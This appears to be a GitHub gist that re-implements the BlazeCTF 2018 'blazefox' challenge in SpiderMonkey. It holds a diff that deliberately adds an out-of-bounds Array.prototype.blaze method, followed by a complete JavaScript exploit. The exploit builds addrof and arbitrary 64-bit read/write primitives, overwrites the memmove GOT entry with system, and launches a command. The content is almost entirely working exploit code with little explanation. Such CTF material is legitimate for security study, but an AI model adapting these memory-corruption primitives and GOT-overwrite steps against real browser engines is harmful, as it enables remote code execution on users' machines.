Last active
December 27, 2022 04:28
-
-
Save anvbis/5d26768483215d075aff246797db0472 to your computer and use it in GitHub Desktop.
blazefox-2022.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp | |
index 2b6d8953c523..fa60ef14f1ec 100644 | |
--- a/js/src/builtin/Array.cpp | |
+++ b/js/src/builtin/Array.cpp | |
@@ -206,6 +206,20 @@ bool js::GetLengthProperty(JSContext* cx, HandleObject obj, uint64_t* lengthp) { | |
return ToLength(cx, value, lengthp); | |
} | |
+static MOZ_ALWAYS_INLINE bool BlazeSetLengthProperty(JSContext* cx, | |
+ HandleObject obj, | |
+ uint64_t length) { | |
+ if (obj->is<ArrayObject>()) { | |
+ obj->as<ArrayObject>().setLength(length); | |
+ obj->as<ArrayObject>().setCapacity(length); | |
+ obj->as<ArrayObject>().setInitializedLength(length); | |
+ | |
+ return true; | |
+ } | |
+ | |
+ return false; | |
+} | |
+ | |
// Fast path for array functions where the object is expected to be an array. | |
static MOZ_ALWAYS_INLINE bool GetLengthPropertyInlined(JSContext* cx, | |
HandleObject obj, | |
@@ -1570,6 +1584,22 @@ static DenseElementResult ArrayReverseDenseKernel(JSContext* cx, | |
return DenseElementResult::Success; | |
} | |
+static bool array_blaze(JSContext* cx, unsigned argc, Value* vp) { | |
+ CallArgs args = CallArgsFromVp(argc, vp); | |
+ | |
+ RootedObject obj(cx, ToObject(cx, args.thisv())); | |
+ if (!obj) { | |
+ return false; | |
+ } | |
+ | |
+ if (!BlazeSetLengthProperty(cx, obj, 420)) { | |
+ return false; | |
+ } | |
+ | |
+ args.rval().setObject(*obj); | |
+ return true; | |
+} | |
+ | |
// ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce | |
// 22.1.3.21 Array.prototype.reverse ( ) | |
static bool array_reverse(JSContext* cx, unsigned argc, Value* vp) { | |
@@ -4608,6 +4638,8 @@ static const JSFunctionSpec array_methods[] = { | |
JS_FN("unshift", array_unshift, 1, 0), | |
JS_FNINFO("splice", array_splice, &array_splice_info, 2, 0), | |
+ JS_FN("blaze", array_blaze, 0, 0), | |
+ | |
/* Pythonic sequence methods. */ | |
JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1, 0), | |
JS_INLINABLE_FN("slice", array_slice, 2, 0, ArraySlice), | |
diff --git a/js/src/vm/ArrayObject.h b/js/src/vm/ArrayObject.h | |
index 9b9f2651d3da..2b01811ce59e 100644 | |
--- a/js/src/vm/ArrayObject.h | |
+++ b/js/src/vm/ArrayObject.h | |
@@ -41,6 +41,14 @@ class ArrayObject : public NativeObject { | |
getElementsHeader()->length = length; | |
} | |
+ void setCapacity(uint32_t length) { | |
+ getElementsHeader()->capacity = length; | |
+ } | |
+ | |
+ void setInitializedLength(uint32_t length) { | |
+ getElementsHeader()->initializedLength = length; | |
+ } | |
+ | |
// Make an array object with the specified initial state. | |
static MOZ_ALWAYS_INLINE ArrayObject* create( | |
JSContext* cx, gc::AllocKind kind, gc::InitialHeap heap, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
BlazeCTF 2018 'blazefox' challenge. | |
Re-implemented in Spidermonkey on 12/2022. | |
hg checkout fa56acd185ad | |
hg import blaze.diff --no-commit | |
*/ | |
let buf = new ArrayBuffer(8); | |
let f64 = new Float64Array(buf); | |
let i64 = new BigUint64Array(buf); | |
const ftoi = x => { | |
f64[0] = x; | |
return i64[0]; | |
}; | |
const itof = x => { | |
i64[0] = x; | |
return f64[0]; | |
}; | |
let oob = new Array(1.1, 2.2, 3.3); | |
let rdw = new BigUint64Array(1); /* rdw.data_slot @ oob[13] */ | |
let obj = new Array({a: 1}, {b: 2}, {c: 3}); /* obj.elements @ oob[21] */ | |
oob.blaze(); | |
/* addrof primitive */ | |
const addrof = o => { | |
let tmp = oob[13]; | |
oob[13] = oob[21]; | |
obj[0] = o; | |
let ret = rdw[0] & 0xffffffffffffn; | |
oob[13] = tmp; | |
return ret; | |
}; | |
/* arbitrary 64-bit read */ | |
const read = p => { | |
let tmp = oob[13]; | |
oob[13] = itof(p); | |
let ret = rdw[0]; | |
oob[13] = tmp; | |
return ret; | |
}; | |
/* arbitrary 64-bit write */ | |
const write = (p, x) => { | |
let tmp = oob[13]; | |
oob[13] = itof(p); | |
rdw[0] = x; | |
oob[13] = tmp; | |
}; | |
let elf = read(addrof(oob) + 8n) - 0x245e98n; | |
let got = { | |
memmove: elf + 0x23d7400n, | |
system: elf + 0x23d7190n | |
}; | |
let system = read(got.system); | |
write(got.memmove, system); | |
let pwn = new Uint8Array(32); | |
let cmd = '/usr/bin/xcalc'; | |
for (let i = 0; i < cmd.length; i++) | |
pwn[i] = cmd.charCodeAt(i); | |
pwn.copyWithin(0, 16); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment